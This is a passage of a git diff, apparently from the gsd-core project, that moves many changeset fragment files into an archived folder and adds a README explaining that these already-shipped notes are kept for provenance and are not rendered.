a/.changeset/195-workflow-gsd-tools-query.md b/.changeset/archived/195-workflow-gsd-tools-query.md similarity index 100% rename from .changeset/195-workflow-gsd-tools-query.md rename to .changeset/archived/195-workflow-gsd-tools-query.md diff --git a/.changeset/211-launcher-claude-home-fallback.md b/.changeset/archived/211-launcher-claude-home-fallback.md similarity index 100% rename from .changeset/211-launcher-claude-home-fallback.md rename to .changeset/archived/211-launcher-claude-home-fallback.md diff --git a/.changeset/213-antigravity-2-runtime-dirs.md b/.changeset/archived/213-antigravity-2-runtime-dirs.md similarity index 100% rename from .changeset/213-antigravity-2-runtime-dirs.md rename to .changeset/archived/213-antigravity-2-runtime-dirs.md diff --git a/.changeset/245-summary-rescue-copy-failure.md b/.changeset/archived/245-summary-rescue-copy-failure.md similarity index 100% rename from .changeset/245-summary-rescue-copy-failure.md rename to .changeset/archived/245-summary-rescue-copy-failure.md diff --git a/.changeset/2937-statusline-context-position.md b/.changeset/archived/2937-statusline-context-position.md similarity index 100% rename from .changeset/2937-statusline-context-position.md rename to .changeset/archived/2937-statusline-context-position.md diff --git a/.changeset/3033-sdk-flag-wired.md b/.changeset/archived/3033-sdk-flag-wired.md similarity index 100% rename from .changeset/3033-sdk-flag-wired.md rename to .changeset/archived/3033-sdk-flag-wired.md diff --git a/.changeset/308-websearch-timeout-retry.md b/.changeset/archived/308-websearch-timeout-retry.md similarity index 100% rename from .changeset/308-websearch-timeout-retry.md rename to .changeset/archived/308-websearch-timeout-retry.md diff --git a/.changeset/3095-quota-failure-classification.md b/.changeset/archived/3095-quota-failure-classification.md similarity index 100% rename from .changeset/3095-quota-failure-classification.md rename to .changeset/archived/3095-quota-failure-classification.md diff --git a/.changeset/311-subrepo-routing-index.md b/.changeset/archived/311-subrepo-routing-index.md similarity index 100% rename from .changeset/311-subrepo-routing-index.md rename to .changeset/archived/311-subrepo-routing-index.md diff --git a/.changeset/312-arg-projection-single-pass.md b/.changeset/archived/312-arg-projection-single-pass.md similarity index 100% rename from .changeset/312-arg-projection-single-pass.md rename to .changeset/archived/312-arg-projection-single-pass.md diff --git a/.changeset/314-roadmap-plan-id-map.md b/.changeset/archived/314-roadmap-plan-id-map.md similarity index 100% rename from .changeset/314-roadmap-plan-id-map.md rename to .changeset/archived/314-roadmap-plan-id-map.md diff --git a/.changeset/315-subrepo-detect-memo.md b/.changeset/archived/315-subrepo-detect-memo.md similarity index 100% rename from .changeset/315-subrepo-detect-memo.md rename to .changeset/archived/315-subrepo-detect-memo.md diff --git a/.changeset/3156-plan-phase-opencode-dispatch.md b/.changeset/archived/3156-plan-phase-opencode-dispatch.md similarity index 100% rename from .changeset/3156-plan-phase-opencode-dispatch.md rename to .changeset/archived/3156-plan-phase-opencode-dispatch.md diff --git a/.changeset/316-state-lock-buffer-hoist.md b/.changeset/archived/316-state-lock-buffer-hoist.md similarity index 100% rename from .changeset/316-state-lock-buffer-hoist.md rename to .changeset/archived/316-state-lock-buffer-hoist.md diff --git a/.changeset/3166-graphify-inline-build.md b/.changeset/archived/3166-graphify-inline-build.md similarity index 100% rename from .changeset/3166-graphify-inline-build.md rename to .changeset/archived/3166-graphify-inline-build.md diff --git a/.changeset/3170-graphify-commit-staleness.md b/.changeset/archived/3170-graphify-commit-staleness.md similarity index 100% rename from .changeset/3170-graphify-commit-staleness.md rename to .changeset/archived/3170-graphify-commit-staleness.md diff --git a/.changeset/3184-phase-uat-passed.md b/.changeset/archived/3184-phase-uat-passed.md similarity index 100% rename from .changeset/3184-phase-uat-passed.md rename to .changeset/archived/3184-phase-uat-passed.md diff --git a/.changeset/3195-quick-resurrection-guard.md b/.changeset/archived/3195-quick-resurrection-guard.md similarity index 100% rename from .changeset/3195-quick-resurrection-guard.md rename to .changeset/archived/3195-quick-resurrection-guard.md diff --git a/.changeset/3198-retrospective-canonical.md b/.changeset/archived/3198-retrospective-canonical.md similarity index 100% rename from .changeset/3198-retrospective-canonical.md rename to .changeset/archived/3198-retrospective-canonical.md diff --git a/.changeset/320-hoist-state-table-regex.md b/.changeset/archived/320-hoist-state-table-regex.md similarity index 100% rename from .changeset/320-hoist-state-table-regex.md rename to .changeset/archived/320-hoist-state-table-regex.md diff --git a/.changeset/3210-fallow-structural-review.md b/.changeset/archived/3210-fallow-structural-review.md similarity index 100% rename from .changeset/3210-fallow-structural-review.md rename to .changeset/archived/3210-fallow-structural-review.md diff --git a/.changeset/3251-non-family-aliases.md b/.changeset/archived/3251-non-family-aliases.md similarity index 100% rename from .changeset/3251-non-family-aliases.md rename to .changeset/archived/3251-non-family-aliases.md diff --git a/.changeset/3262-extract-scan-phase-plans.md b/.changeset/archived/3262-extract-scan-phase-plans.md similarity index 100% rename from .changeset/3262-extract-scan-phase-plans.md rename to .changeset/archived/3262-extract-scan-phase-plans.md diff --git a/.changeset/3271-sdk-adr-structure.md b/.changeset/archived/3271-sdk-adr-structure.md similarity index 100% rename from .changeset/3271-sdk-adr-structure.md rename to .changeset/archived/3271-sdk-adr-structure.md diff --git a/.changeset/3298-phase-dir-prefix-drift-workflows.md b/.changeset/archived/3298-phase-dir-prefix-drift-workflows.md similarity index 100% rename from .changeset/3298-phase-dir-prefix-drift-workflows.md rename to .changeset/archived/3298-phase-dir-prefix-drift-workflows.md diff --git a/.changeset/33-model-profile-adaptive.md b/.changeset/archived/33-model-profile-adaptive.md similarity index 100% rename from .changeset/33-model-profile-adaptive.md rename to .changeset/archived/33-model-profile-adaptive.md diff --git a/.changeset/3312-sdk-first-architecture-seams.md b/.changeset/archived/3312-sdk-first-architecture-seams.md similarity index 100% rename from .changeset/3312-sdk-first-architecture-seams.md rename to .changeset/archived/3312-sdk-first-architecture-seams.md diff --git a/.changeset/3346-codex-aot-toml-key.md b/.changeset/archived/3346-codex-aot-toml-key.md similarity index 100% rename from .changeset/3346-codex-aot-toml-key.md rename to .changeset/archived/3346-codex-aot-toml-key.md diff --git a/.changeset/3347-graphify-auto-update-hook.md b/.changeset/archived/3347-graphify-auto-update-hook.md similarity index 100% rename from .changeset/3347-graphify-auto-update-hook.md rename to .changeset/archived/3347-graphify-auto-update-hook.md diff --git a/.changeset/338-local-install-settings-local-json.md b/.changeset/archived/338-local-install-settings-local-json.md similarity index 100% rename from .changeset/338-local-install-settings-local-json.md rename to .changeset/archived/338-local-install-settings-local-json.md diff --git a/.changeset/3409-phase-remove-force-position.md b/.changeset/archived/3409-phase-remove-force-position.md similarity index 100% rename from .changeset/3409-phase-remove-force-position.md rename to .changeset/archived/3409-phase-remove-force-position.md diff --git a/.changeset/3450-shell-projection-merge-repair.md b/.changeset/archived/3450-shell-projection-merge-repair.md similarity index 100% rename from .changeset/3450-shell-projection-merge-repair.md rename to .changeset/archived/3450-shell-projection-merge-repair.md diff --git a/.changeset/3488-decimal-phase-depends-on.md b/.changeset/archived/3488-decimal-phase-depends-on.md similarity index 100% rename from .changeset/3488-decimal-phase-depends-on.md rename to .changeset/archived/3488-decimal-phase-depends-on.md diff --git a/.changeset/3489-complete-phase-idempotent.md b/.changeset/archived/3489-complete-phase-idempotent.md similarity index 100% rename from .changeset/3489-complete-phase-idempotent.md rename to .changeset/archived/3489-complete-phase-idempotent.md diff --git a/.changeset/3491-nested-git-detection.md b/.changeset/archived/3491-nested-git-detection.md similarity index 100% rename from .changeset/3491-nested-git-detection.md rename to .changeset/archived/3491-nested-git-detection.md diff --git a/.changeset/3493-extract-milestone-generic-heading.md b/.changeset/archived/3493-extract-milestone-generic-heading.md similarity index 100% rename from .changeset/3493-extract-milestone-generic-heading.md rename to .changeset/archived/3493-extract-milestone-generic-heading.md diff --git a/.changeset/3517-phase-complete-state-staleness.md b/.changeset/archived/3517-phase-complete-state-staleness.md similarity index 100% rename from .changeset/3517-phase-complete-state-staleness.md rename to .changeset/archived/3517-phase-complete-state-staleness.md diff --git a/.changeset/3537-phase-regex-fanout.md b/.changeset/archived/3537-phase-regex-fanout.md similarity index 100% rename from .changeset/3537-phase-regex-fanout.md rename to .changeset/archived/3537-phase-regex-fanout.md diff --git a/.changeset/3541-installer-migration-prompt-user-resolution.md b/.changeset/archived/3541-installer-migration-prompt-user-resolution.md similarity index 100% rename from .changeset/3541-installer-migration-prompt-user-resolution.md rename to .changeset/archived/3541-installer-migration-prompt-user-resolution.md diff --git a/.changeset/3542-executor-git-stash-prohibition.md b/.changeset/archived/3542-executor-git-stash-prohibition.md similarity index 100% rename from .changeset/3542-executor-git-stash-prohibition.md rename to .changeset/archived/3542-executor-git-stash-prohibition.md diff --git a/.changeset/3544-workstream-inventory-builder.md b/.changeset/archived/3544-workstream-inventory-builder.md similarity index 100% rename from .changeset/3544-workstream-inventory-builder.md rename to .changeset/archived/3544-workstream-inventory-builder.md diff --git a/.changeset/3562-codex-install-skill-surface.md b/.changeset/archived/3562-codex-install-skill-surface.md similarity index 100% rename from .changeset/3562-codex-install-skill-surface.md rename to .changeset/archived/3562-codex-install-skill-surface.md diff --git a/.changeset/3566-codex-hooks-canonical-feature-key.md b/.changeset/archived/3566-codex-hooks-canonical-feature-key.md similarity index 100% rename from .changeset/3566-codex-hooks-canonical-feature-key.md rename to .changeset/archived/3566-codex-hooks-canonical-feature-key.md diff --git a/.changeset/3571-configuration-manifest-install-layout.md b/.changeset/archived/3571-configuration-manifest-install-layout.md similarity index 100% rename from .changeset/3571-configuration-manifest-install-layout.md rename to .changeset/archived/3571-configuration-manifest-install-layout.md diff --git a/.changeset/3577-adr-violations-and-validation-port.md b/.changeset/archived/3577-adr-violations-and-validation-port.md similarity index 100% rename from .changeset/3577-adr-violations-and-validation-port.md rename to .changeset/archived/3577-adr-violations-and-validation-port.md diff --git a/.changeset/3577-config-ensure-section-parity.md b/.changeset/archived/3577-config-ensure-section-parity.md similarity index 100% rename from .changeset/3577-config-ensure-section-parity.md rename to .changeset/archived/3577-config-ensure-section-parity.md diff --git a/.changeset/3577-docker-test-fixup.md b/.changeset/archived/3577-docker-test-fixup.md similarity index 100% rename from .changeset/3577-docker-test-fixup.md rename to .changeset/archived/3577-docker-test-fixup.md diff --git a/.changeset/3589-planning-paths-workstream-validation.md b/.changeset/archived/3589-planning-paths-workstream-validation.md similarity index 100% rename from .changeset/3589-planning-paths-workstream-validation.md rename to .changeset/archived/3589-planning-paths-workstream-validation.md diff --git a/.changeset/3591-gsdtools-native-workstream.md b/.changeset/archived/3591-gsdtools-native-workstream.md similarity index 100% rename from .changeset/3591-gsdtools-native-workstream.md rename to .changeset/archived/3591-gsdtools-native-workstream.md diff --git a/.changeset/3593-cli-negative-matrix-harness.md b/.changeset/archived/3593-cli-negative-matrix-harness.md similarity index 100% rename from .changeset/3593-cli-negative-matrix-harness.md rename to .changeset/archived/3593-cli-negative-matrix-harness.md diff --git a/.changeset/3594-parser-adversarial-fixtures.md b/.changeset/archived/3594-parser-adversarial-fixtures.md similarity index 100% rename from .changeset/3594-parser-adversarial-fixtures.md rename to .changeset/archived/3594-parser-adversarial-fixtures.md diff --git a/.changeset/3595-fs-fault-injection-atomic-write.md b/.changeset/archived/3595-fs-fault-injection-atomic-write.md similarity index 100% rename from .changeset/3595-fs-fault-injection-atomic-write.md rename to .changeset/archived/3595-fs-fault-injection-atomic-write.md diff --git a/.changeset/3597-test-suite-split-node-matrix.md b/.changeset/archived/3597-test-suite-split-node-matrix.md similarity index 100% rename from .changeset/3597-test-suite-split-node-matrix.md rename to .changeset/archived/3597-test-suite-split-node-matrix.md diff --git a/.changeset/3597-windows-argv-overflow.md b/.changeset/archived/3597-windows-argv-overflow.md similarity index 100% rename from .changeset/3597-windows-argv-overflow.md rename to .changeset/archived/3597-windows-argv-overflow.md diff --git a/.changeset/3599-roadmap-get-phase-project-code-prefix.md b/.changeset/archived/3599-roadmap-get-phase-project-code-prefix.md similarity index 100% rename from .changeset/3599-roadmap-get-phase-project-code-prefix.md rename to .changeset/archived/3599-roadmap-get-phase-project-code-prefix.md diff --git a/.changeset/3600-milestone-phase-filter-project-code.md b/.changeset/archived/3600-milestone-phase-filter-project-code.md similarity index 100% rename from .changeset/3600-milestone-phase-filter-project-code.md rename to .changeset/archived/3600-milestone-phase-filter-project-code.md diff --git a/.changeset/3601-phase-remove-decimal-section-loss.md b/.changeset/archived/3601-phase-remove-decimal-section-loss.md similarity index 100% rename from .changeset/3601-phase-remove-decimal-section-loss.md rename to .changeset/archived/3601-phase-remove-decimal-section-loss.md diff --git a/.changeset/3602-phase-remove-slugged-plan-refs.md b/.changeset/archived/3602-phase-remove-slugged-plan-refs.md similarity index 100% rename from .changeset/3602-phase-remove-slugged-plan-refs.md rename to .changeset/archived/3602-phase-remove-slugged-plan-refs.md diff --git a/.changeset/3605-stale-agent-command-refs.md b/.changeset/archived/3605-stale-agent-command-refs.md similarity index 100% rename from .changeset/3605-stale-agent-command-refs.md rename to .changeset/archived/3605-stale-agent-command-refs.md diff --git a/.changeset/3608-antigravity-update-runtime.md b/.changeset/archived/3608-antigravity-update-runtime.md similarity index 100% rename from .changeset/3608-antigravity-update-runtime.md rename to .changeset/archived/3608-antigravity-update-runtime.md diff --git a/.changeset/3610-codex-install-bundled-hooks-blocker.md b/.changeset/archived/3610-codex-install-bundled-hooks-blocker.md similarity index 100% rename from .changeset/3610-codex-install-bundled-hooks-blocker.md rename to .changeset/archived/3610-codex-install-bundled-hooks-blocker.md diff --git a/.changeset/3621-cherry-pick-test-fixtures.md b/.changeset/archived/3621-cherry-pick-test-fixtures.md similarity index 100% rename from .changeset/3621-cherry-pick-test-fixtures.md rename to .changeset/archived/3621-cherry-pick-test-fixtures.md diff --git a/.changeset/3628-bundled-hook-whitelist.md b/.changeset/archived/3628-bundled-hook-whitelist.md similarity index 100% rename from .changeset/3628-bundled-hook-whitelist.md rename to .changeset/archived/3628-bundled-hook-whitelist.md diff --git a/.changeset/3643-resolve-model-claude-runtime.md b/.changeset/archived/3643-resolve-model-claude-runtime.md similarity index 100% rename from .changeset/3643-resolve-model-claude-runtime.md rename to .changeset/archived/3643-resolve-model-claude-runtime.md diff --git a/.changeset/3653-graphify-hook-sdk-commit-visibility.md b/.changeset/archived/3653-graphify-hook-sdk-commit-visibility.md similarity index 100% rename from .changeset/3653-graphify-hook-sdk-commit-visibility.md rename to .changeset/archived/3653-graphify-hook-sdk-commit-visibility.md diff --git a/.changeset/3689-resume-glob-nomatch-fix.md b/.changeset/archived/3689-resume-glob-nomatch-fix.md similarity index 100% rename from .changeset/3689-resume-glob-nomatch-fix.md rename to .changeset/archived/3689-resume-glob-nomatch-fix.md diff --git a/.changeset/370-affected-tests-exclude-install-slow.md b/.changeset/archived/370-affected-tests-exclude-install-slow.md similarity index 100% rename from .changeset/370-affected-tests-exclude-install-slow.md rename to .changeset/archived/370-affected-tests-exclude-install-slow.md diff --git a/.changeset/3707-worktree-orphan-reap.md b/.changeset/archived/3707-worktree-orphan-reap.md similarity index 100% rename from .changeset/3707-worktree-orphan-reap.md rename to .changeset/archived/3707-worktree-orphan-reap.md diff --git a/.changeset/3740-consolidate-phase-tests.md b/.changeset/archived/3740-consolidate-phase-tests.md similarity index 100% rename from .changeset/3740-consolidate-phase-tests.md rename to .changeset/archived/3740-consolidate-phase-tests.md diff --git a/.changeset/3742-consolidate-worktree-tests.md b/.changeset/archived/3742-consolidate-worktree-tests.md similarity index 100% rename from .changeset/3742-consolidate-worktree-tests.md rename to .changeset/archived/3742-consolidate-worktree-tests.md diff --git a/.changeset/3753-consolidate-milestone-tests.md b/.changeset/archived/3753-consolidate-milestone-tests.md similarity index 100% rename from .changeset/3753-consolidate-milestone-tests.md rename to .changeset/archived/3753-consolidate-milestone-tests.md diff --git a/.changeset/3755-consolidate-init-tests.md b/.changeset/archived/3755-consolidate-init-tests.md similarity index 100% rename from .changeset/3755-consolidate-init-tests.md rename to .changeset/archived/3755-consolidate-init-tests.md diff --git a/.changeset/3757-consolidate-runtime-artifact-layout.md b/.changeset/archived/3757-consolidate-runtime-artifact-layout.md similarity index 100% rename from .changeset/3757-consolidate-runtime-artifact-layout.md rename to .changeset/archived/3757-consolidate-runtime-artifact-layout.md diff --git a/.changeset/3758-consolidate-installer-tests.md b/.changeset/archived/3758-consolidate-installer-tests.md similarity index 100% rename from .changeset/3758-consolidate-installer-tests.md rename to .changeset/archived/3758-consolidate-installer-tests.md diff --git a/.changeset/376-claude-js-hook-gsd-rewriter.md b/.changeset/archived/376-claude-js-hook-gsd-rewriter.md similarity index 100% rename from .changeset/376-claude-js-hook-gsd-rewriter.md rename to .changeset/archived/376-claude-js-hook-gsd-rewriter.md diff --git a/.changeset/3761-consolidate-graphify-tests.md b/.changeset/archived/3761-consolidate-graphify-tests.md similarity index 100% rename from .changeset/3761-consolidate-graphify-tests.md rename to .changeset/archived/3761-consolidate-graphify-tests.md diff --git a/.changeset/3772-fix-acquirestatelock-non-eexist.md b/.changeset/archived/3772-fix-acquirestatelock-non-eexist.md similarity index 100% rename from .changeset/3772-fix-acquirestatelock-non-eexist.md rename to .changeset/archived/3772-fix-acquirestatelock-non-eexist.md diff --git a/.changeset/3776-fix-acquirestatelock-retry-allowlist.md b/.changeset/archived/3776-fix-acquirestatelock-retry-allowlist.md similarity index 100% rename from .changeset/3776-fix-acquirestatelock-retry-allowlist.md rename to .changeset/archived/3776-fix-acquirestatelock-retry-allowlist.md diff --git a/.changeset/378-update-check-scoped-name.md b/.changeset/archived/378-update-check-scoped-name.md similarity index 100% rename from .changeset/378-update-check-scoped-name.md rename to .changeset/archived/378-update-check-scoped-name.md diff --git a/.changeset/3804-worktree-cleanup-summary-rescue.md b/.changeset/archived/3804-worktree-cleanup-summary-rescue.md similarity index 100% rename from .changeset/3804-worktree-cleanup-summary-rescue.md rename to .changeset/archived/3804-worktree-cleanup-summary-rescue.md diff --git a/.changeset/3805-fast-md-log-to-state-schema-aware.md b/.changeset/archived/3805-fast-md-log-to-state-schema-aware.md similarity index 100% rename from .changeset/3805-fast-md-log-to-state-schema-aware.md rename to .changeset/archived/3805-fast-md-log-to-state-schema-aware.md diff --git a/.changeset/3806-cjs-bundle-drift-w005-w006-i001.md b/.changeset/archived/3806-cjs-bundle-drift-w005-w006-i001.md similarity index 100% rename from .changeset/3806-cjs-bundle-drift-w005-w006-i001.md rename to .changeset/archived/3806-cjs-bundle-drift-w005-w006-i001.md diff --git a/.changeset/3808-codex-adapter-text-mode-fallback.md b/.changeset/archived/3808-codex-adapter-text-mode-fallback.md similarity index 100% rename from .changeset/3808-codex-adapter-text-mode-fallback.md rename to .changeset/archived/3808-codex-adapter-text-mode-fallback.md diff --git a/.changeset/3815-phase-insert-bullet-roadmap.md b/.changeset/archived/3815-phase-insert-bullet-roadmap.md similarity index 100% rename from .changeset/3815-phase-insert-bullet-roadmap.md rename to .changeset/archived/3815-phase-insert-bullet-roadmap.md diff --git a/.changeset/3816-milestone-archive-version-sort.md b/.changeset/archived/3816-milestone-archive-version-sort.md similarity index 100% rename from .changeset/3816-milestone-archive-version-sort.md rename to .changeset/archived/3816-milestone-archive-version-sort.md diff --git a/.changeset/384-agents-dir-runtime-aware.md b/.changeset/archived/384-agents-dir-runtime-aware.md similarity index 100% rename from .changeset/384-agents-dir-runtime-aware.md rename to .changeset/archived/384-agents-dir-runtime-aware.md diff --git a/.changeset/397-state-preserve-executor-authored.md b/.changeset/archived/397-state-preserve-executor-authored.md similarity index 100% rename from .changeset/397-state-preserve-executor-authored.md rename to .changeset/archived/397-state-preserve-executor-authored.md diff --git a/.changeset/407-planning-lock-sab-hoist.md b/.changeset/archived/407-planning-lock-sab-hoist.md similarity index 100% rename from .changeset/407-planning-lock-sab-hoist.md rename to .changeset/archived/407-planning-lock-sab-hoist.md diff --git a/.changeset/408-ci-test-scope-smoke-alignment.md b/.changeset/archived/408-ci-test-scope-smoke-alignment.md similarity index 100% rename from .changeset/408-ci-test-scope-smoke-alignment.md rename to .changeset/archived/408-ci-test-scope-smoke-alignment.md diff --git a/.changeset/410-install-defaults-test-mode-guard.md b/.changeset/archived/410-install-defaults-test-mode-guard.md similarity index 100% rename from .changeset/410-install-defaults-test-mode-guard.md rename to .changeset/archived/410-install-defaults-test-mode-guard.md diff --git a/.changeset/416-active-milestone-archive-null.md b/.changeset/archived/416-active-milestone-archive-null.md similarity index 100% rename from .changeset/416-active-milestone-archive-null.md rename to .changeset/archived/416-active-milestone-archive-null.md diff --git a/.changeset/442-config-dir-equals-truncation.md b/.changeset/archived/442-config-dir-equals-truncation.md similarity index 100% rename from .changeset/442-config-dir-equals-truncation.md rename to .changeset/archived/442-config-dir-equals-truncation.md diff --git a/.changeset/444-resolver-local-claude-path.md b/.changeset/archived/444-resolver-local-claude-path.md similarity index 100% rename from .changeset/444-resolver-local-claude-path.md rename to .changeset/archived/444-resolver-local-claude-path.md diff --git a/.changeset/498-package-identity-seam.md b/.changeset/archived/498-package-identity-seam.md similarity index 100% rename from .changeset/498-package-identity-seam.md rename to .changeset/archived/498-package-identity-seam.md diff --git a/.changeset/5-decision-coverage-xml-bodies.md b/.changeset/archived/5-decision-coverage-xml-bodies.md similarity index 100% rename from .changeset/5-decision-coverage-xml-bodies.md rename to .changeset/archived/5-decision-coverage-xml-bodies.md diff --git a/.changeset/501-flat-phase-details-milestone-leak.md b/.changeset/archived/501-flat-phase-details-milestone-leak.md similarity index 100% rename from .changeset/501-flat-phase-details-milestone-leak.md rename to .changeset/archived/501-flat-phase-details-milestone-leak.md diff --git a/.changeset/503-antigravity-agent-local-detection.md b/.changeset/archived/503-antigravity-agent-local-detection.md similarity index 100% rename from .changeset/503-antigravity-agent-local-detection.md rename to .changeset/archived/503-antigravity-agent-local-detection.md diff --git a/.changeset/546-changelog-1-2-0.md b/.changeset/archived/546-changelog-1-2-0.md similarity index 100% rename from .changeset/546-changelog-1-2-0.md rename to .changeset/archived/546-changelog-1-2-0.md diff --git a/.changeset/549-total-phases-decimal-overcounting.md b/.changeset/archived/549-total-phases-decimal-overcounting.md similarity index 100% rename from .changeset/549-total-phases-decimal-overcounting.md rename to .changeset/archived/549-total-phases-decimal-overcounting.md diff --git a/.changeset/557-details-summary-milestone-strip.md b/.changeset/archived/557-details-summary-milestone-strip.md similarity index 100% rename from .changeset/557-details-summary-milestone-strip.md rename to .changeset/archived/557-details-summary-milestone-strip.md diff --git a/.changeset/566-spawn-liveness-banner.md b/.changeset/archived/566-spawn-liveness-banner.md similarity index 100% rename from .changeset/566-spawn-liveness-banner.md rename to .changeset/archived/566-spawn-liveness-banner.md diff --git a/.changeset/604-rename-get-shit-done-to-gsd-core.md b/.changeset/archived/604-rename-get-shit-done-to-gsd-core.md similarity index 100% rename from .changeset/604-rename-get-shit-done-to-gsd-core.md rename to .changeset/archived/604-rename-get-shit-done-to-gsd-core.md diff --git a/.changeset/614-discuss-phase-shim-resolution.md b/.changeset/archived/614-discuss-phase-shim-resolution.md similarity index 100% rename from .changeset/614-discuss-phase-shim-resolution.md rename to .changeset/archived/614-discuss-phase-shim-resolution.md diff --git a/.changeset/archived/README.md b/.changeset/archived/README.md new file mode 100644 index 000000000..70bcc4f97 --- /dev/null +++ b/.changeset/archived/README.md @@ -0,0 +1,20 @@ +# Archived changeset fragments + +These fragments describe changes that shipped in **gsd-core ≤ 1.3.1**. Their +user-facing notes were already hand-curated into the dated `## [1.2.0]`, +`## [1.3.0]`, and `## [1.3.1]` sections of [`../../CHANGELOG.md`](../../CHANGELOG.md) +during the #690 backfill (PR #694) and the earlier 1.2.0 promotion. + +They were never consumed by a `render` run (CHANGELOG promotion was a manual +operator step that was skipped — see [#690](https://github.com/open-gsd/gsd-core/issues/690)), +so they accumulated here. They are retained for provenance only. + +## Do not render these + +`render` (`scripts/changeset/cli.cjs`) and every other changeset tool enumerate +`.changeset/` **non-recursively**, so nothing in this `archived/` subdirectory is +ever picked up. That is deliberate: rendering these would duplicate and +mis-attribute work that already shipped. Do not move them back to the parent +directory. + +Genuinely-unreleased fragments live one level up, in `.changeset/*.md`. diff --git a/.changeset/adr-0002-command-contract-validation.md b/.changeset/archived/adr-0002-command-contract-validation.md similarity index 100% rename from .changeset/adr-0002-command-contract-validation.md rename to .changeset/archived/adr-0002-command-contract-validation.md diff --git a/.changeset/agile-birds-cheer.md b/.changeset/archived/agile-birds-cheer.md similarity index 100% rename from .changeset/agile-birds-cheer.md rename to .changeset/archived/agile-birds-cheer.md diff --git a/.changeset/blue-stones-topology.md b/.changeset/archived/blue-stones-topology.md similarity index 100% rename from .changeset/blue-stones-topology.md rename to .changeset/archived/blue-stones-topology.md diff --git a/.changeset/bold-elks-zip.md b/.changeset/archived/bold-elks-zip.md similarity index 100% rename from .changeset/bold-elks-zip.md rename to .changeset/archived/bold-elks-zip.md diff --git a/.changeset/bold-finches-rally.md b/.changeset/archived/bold-finches-rally.md similarity index 100% rename from .changeset/bold-finches-rally.md rename to .changeset/archived/bold-finches-rally.md diff --git a/.changeset/bold-orcas-howl.md b/.changeset/archived/bold-orcas-howl.md similarity index 100% rename from .changeset/bold-orcas-howl.md rename to .changeset/archived/bold-orcas-howl.md diff --git a/.changeset/brave-mice-build.md b/.changeset/archived/brave-mice-build.md similarity index 100% rename from .changeset/brave-mice-build.md rename to .changeset/archived/brave-mice-build.md diff --git a/.changeset/brave-wolves-rally.md b/.changeset/archived/brave-wolves-rally.md similarity index 100% rename from .changeset/brave-wolves-rally.md rename to .changeset/archived/brave-wolves-rally.md diff --git a/.changeset/bright-pumas-fold.md b/.changeset/archived/bright-pumas-fold.md similarity index 100% rename from .changeset/bright-pumas-fold.md rename to .changeset/archived/bright-pumas-fold.md diff --git a/.changeset/bug-3446-resume-continue-here-discovery.md b/.changeset/archived/bug-3446-resume-continue-here-discovery.md similarity index 100% rename from .changeset/bug-3446-resume-continue-here-discovery.md rename to .changeset/archived/bug-3446-resume-continue-here-discovery.md diff --git a/.changeset/build-hooks-atomic-write.md b/.changeset/archived/build-hooks-atomic-write.md similarity index 100% rename from .changeset/build-hooks-atomic-write.md rename to .changeset/archived/build-hooks-atomic-write.md diff --git a/.changeset/calm-birds-greet.md b/.changeset/archived/calm-birds-greet.md similarity index 100% rename from .changeset/calm-birds-greet.md rename to .changeset/archived/calm-birds-greet.md diff --git a/.changeset/calm-cranes-roar.md b/.changeset/archived/calm-cranes-roar.md similarity index 100% rename from .changeset/calm-cranes-roar.md rename to .changeset/archived/calm-cranes-roar.md diff --git a/.changeset/calm-herons-wake.md b/.changeset/archived/calm-herons-wake.md similarity index 100% rename from .changeset/calm-herons-wake.md rename to .changeset/archived/calm-herons-wake.md diff --git a/.changeset/calm-ibex-jump.md b/.changeset/archived/calm-ibex-jump.md similarity index 100% rename from .changeset/calm-ibex-jump.md rename to .changeset/archived/calm-ibex-jump.md diff --git a/.changeset/calm-koalas-hop.md b/.changeset/archived/calm-koalas-hop.md similarity index 100% rename from .changeset/calm-koalas-hop.md rename to .changeset/archived/calm-koalas-hop.md diff --git a/.changeset/calm-tigers-click.md b/.changeset/archived/calm-tigers-click.md similarity index 100% rename from .changeset/calm-tigers-click.md rename to .changeset/archived/calm-tigers-click.md diff --git a/.changeset/calm-tigers-frolic.md b/.changeset/archived/calm-tigers-frolic.md similarity index 100% rename from .changeset/calm-tigers-frolic.md rename to .changeset/archived/calm-tigers-frolic.md diff --git a/.changeset/careful-model-transport.md b/.changeset/archived/careful-model-transport.md similarity index 100% rename from .changeset/careful-model-transport.md rename to .changeset/archived/careful-model-transport.md diff --git a/.changeset/clever-deer-wander.md b/.changeset/archived/clever-deer-wander.md similarity index 100% rename from .changeset/clever-deer-wander.md rename to .changeset/archived/clever-deer-wander.md diff --git a/.changeset/clever-pumas-frolic.md b/.changeset/archived/clever-pumas-frolic.md similarity index 100% rename from .changeset/clever-pumas-frolic.md rename to .changeset/archived/clever-pumas-frolic.md diff --git a/.changeset/clever-wasps-parade.md b/.changeset/archived/clever-wasps-parade.md similarity index 100% rename from .changeset/clever-wasps-parade.md rename to .changeset/archived/clever-wasps-parade.md diff --git a/.changeset/clever-yaks-cheer.md b/.changeset/archived/clever-yaks-cheer.md similarity index 100% rename from .changeset/clever-yaks-cheer.md rename to .changeset/archived/clever-yaks-cheer.md diff --git a/.changeset/clever-zebras-snooze.md b/.changeset/archived/clever-zebras-snooze.md similarity index 100% rename from .changeset/clever-zebras-snooze.md rename to .changeset/archived/clever-zebras-snooze.md diff --git a/.changeset/code-review-flags-ts-migration.md b/.changeset/archived/code-review-flags-ts-migration.md similarity index 100% rename from .changeset/code-review-flags-ts-migration.md rename to .changeset/archived/code-review-flags-ts-migration.md diff --git a/.changeset/code-review-leaf-batch-1-ts.md b/.changeset/archived/code-review-leaf-batch-1-ts.md similarity index 100% rename from .changeset/code-review-leaf-batch-1-ts.md rename to .changeset/archived/code-review-leaf-batch-1-ts.md diff --git a/.changeset/codex-bare-node-fix.md b/.changeset/archived/codex-bare-node-fix.md similarity index 100% rename from .changeset/codex-bare-node-fix.md rename to .changeset/archived/codex-bare-node-fix.md diff --git a/.changeset/codex-discuss-fallback.md b/.changeset/archived/codex-discuss-fallback.md similarity index 100% rename from .changeset/codex-discuss-fallback.md rename to .changeset/archived/codex-discuss-fallback.md diff --git a/.changeset/codex-windows-bash-runner.md b/.changeset/archived/codex-windows-bash-runner.md similarity index 100% rename from .changeset/codex-windows-bash-runner.md rename to .changeset/archived/codex-windows-bash-runner.md diff --git a/.changeset/codex-windows-hook-script-paths.md b/.changeset/archived/codex-windows-hook-script-paths.md similarity index 100% rename from .changeset/codex-windows-hook-script-paths.md rename to .changeset/archived/codex-windows-hook-script-paths.md diff --git a/.changeset/cool-monkeys-smell.md b/.changeset/archived/cool-monkeys-smell.md similarity index 100% rename from .changeset/cool-monkeys-smell.md rename to .changeset/archived/cool-monkeys-smell.md diff --git a/.changeset/crisp-seams-align.md 